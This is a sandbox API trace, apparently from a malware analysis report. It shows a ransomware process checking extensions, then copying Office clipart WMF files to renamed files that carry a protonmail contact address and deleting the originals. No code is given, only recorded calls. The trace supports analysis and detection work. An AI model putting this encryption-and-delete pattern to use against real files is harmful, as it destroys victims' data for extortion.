	[0170.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString=".7z") returned 3
	[0170.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString=".dbf") returned 4
	[0170.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString=".1cd") returned 4
	[0170.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString=".jpg") returned 4
	[0170.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString=".doc") returned 4
	[0170.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString=".docx") returned 5
	[0170.070] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.070] lstrlenW (lpString=".pdf") returned 4
	[0170.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString=".xls") returned 4
	[0170.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.070] lstrlenW (lpString=".xlsx") returned 5
	[0170.070] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.070] lstrlenW (lpString=".ppt") returned 4
	[0170.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString=".zip") returned 4
	[0170.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.070] lstrlenW (lpString=".rar") returned 4
	[0170.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString=".bz2") returned 4
	[0170.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString=".7z") returned 3
	[0170.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString=".dbf") returned 4
	[0170.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString=".1cd") returned 4
	[0170.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.070] lstrlenW (lpString=".jpg") returned 4
	[0170.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.071] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.071] lstrlenW (lpString="J0105294.WMF") returned 12
	[0170.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.072] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5504) returned 1
	[0170.072] CloseHandle (hObject=0x538) returned 1
	[0170.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220
	[0170.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.073] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.073] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.073] GetLastError () returned 0x0
	[0170.073] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1580, lpOverlapped=0x0) returned 1
	[0170.075] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1590, lpOverlapped=0x0) returned 1
	[0170.076] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.076] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.077] SetEndOfFile (hFile=0x534) returned 1
	[0170.077] CloseHandle (hObject=0x534) returned 1
	[0170.077] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.077] SetEndOfFile (hFile=0x538) returned 1
	[0170.079] CloseHandle (hObject=0x538) returned 1
	[0170.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1
	[0170.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.080] lstrlenW (lpString=".doc") returned 4
	[0170.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString=".docx") returned 5
	[0170.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.081] lstrlenW (lpString=".pdf") returned 4
	[0170.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString=".xls") returned 4
	[0170.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.081] lstrlenW (lpString=".xlsx") returned 5
	[0170.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.081] lstrlenW (lpString=".ppt") returned 4
	[0170.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.081] lstrlenW (lpString=".zip") returned 4
	[0170.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.081] lstrlenW (lpString=".rar") returned 4
	[0170.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString=".bz2") returned 4
	[0170.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString=".7z") returned 3
	[0170.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.081] lstrlenW (lpString=".dbf") returned 4
	[0170.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.081] lstrlenW (lpString=".1cd") returned 4
	[0170.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.081] lstrlenW (lpString=".jpg") returned 4
	[0170.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString=".doc") returned 4
	[0170.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString=".docx") returned 5
	[0170.082] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.082] lstrlenW (lpString=".pdf") returned 4
	[0170.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString=".xls") returned 4
	[0170.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.082] lstrlenW (lpString=".xlsx") returned 5
	[0170.082] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.082] lstrlenW (lpString=".ppt") returned 4
	[0170.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString=".zip") returned 4
	[0170.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.082] lstrlenW (lpString=".rar") returned 4
	[0170.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString=".bz2") returned 4
	[0170.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString=".7z") returned 3
	[0170.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString=".dbf") returned 4
	[0170.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString=".1cd") returned 4
	[0170.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0170.082] lstrlenW (lpString=".jpg") returned 4
	[0170.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.083] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.083] lstrlenW (lpString="J0105298.WMF") returned 12
	[0170.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.084] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6320) returned 1
	[0170.084] CloseHandle (hObject=0x538) returned 1
	[0170.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220
	[0170.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.084] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.084] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.085] GetLastError () returned 0x0
	[0170.085] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x18b0, lpOverlapped=0x0) returned 1
	[0170.087] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0170.088] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.088] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.088] SetEndOfFile (hFile=0x534) returned 1
	[0170.088] CloseHandle (hObject=0x534) returned 1
	[0170.088] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.088] SetEndOfFile (hFile=0x538) returned 1
	[0170.091] CloseHandle (hObject=0x538) returned 1
	[0170.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString=".doc") returned 4
	[0170.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString=".docx") returned 5
	[0170.093] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.093] lstrlenW (lpString=".pdf") returned 4
	[0170.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString=".xls") returned 4
	[0170.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.093] lstrlenW (lpString=".xlsx") returned 5
	[0170.093] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.093] lstrlenW (lpString=".ppt") returned 4
	[0170.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString=".zip") returned 4
	[0170.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.093] lstrlenW (lpString=".rar") returned 4
	[0170.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString=".bz2") returned 4
	[0170.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString=".7z") returned 3
	[0170.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString=".dbf") returned 4
	[0170.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString=".1cd") returned 4
	[0170.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.093] lstrlenW (lpString=".jpg") returned 4
	[0170.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString=".doc") returned 4
	[0170.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString=".docx") returned 5
	[0170.094] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.094] lstrlenW (lpString=".pdf") returned 4
	[0170.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString=".xls") returned 4
	[0170.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.094] lstrlenW (lpString=".xlsx") returned 5
	[0170.094] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.094] lstrlenW (lpString=".ppt") returned 4
	[0170.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString=".zip") returned 4
	[0170.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.094] lstrlenW (lpString=".rar") returned 4
	[0170.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString=".bz2") returned 4
	[0170.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString=".7z") returned 3
	[0170.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString=".dbf") returned 4
	[0170.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString=".1cd") returned 4
	[0170.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0170.094] lstrlenW (lpString=".jpg") returned 4
	[0170.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.095] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.095] lstrlenW (lpString="J0105306.WMF") returned 12
	[0170.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.095] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4320) returned 1
	[0170.095] CloseHandle (hObject=0x538) returned 1
	[0170.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220
	[0170.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.096] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.096] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.097] GetLastError () returned 0x0
	[0170.097] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x10e0, lpOverlapped=0x0) returned 1
	[0170.216] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x10f0, lpOverlapped=0x0) returned 1
	[0170.218] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.218] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.218] SetEndOfFile (hFile=0x534) returned 1
	[0170.218] CloseHandle (hObject=0x534) returned 1
	[0170.218] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.218] SetEndOfFile (hFile=0x538) returned 1
	[0170.221] CloseHandle (hObject=0x538) returned 1
	[0170.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString=".doc") returned 4
	[0170.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString=".docx") returned 5
	[0170.736] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.736] lstrlenW (lpString=".pdf") returned 4
	[0170.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString=".xls") returned 4
	[0170.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.736] lstrlenW (lpString=".xlsx") returned 5
	[0170.736] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.736] lstrlenW (lpString=".ppt") returned 4
	[0170.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString=".zip") returned 4
	[0170.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.736] lstrlenW (lpString=".rar") returned 4
	[0170.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString=".bz2") returned 4
	[0170.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString=".7z") returned 3
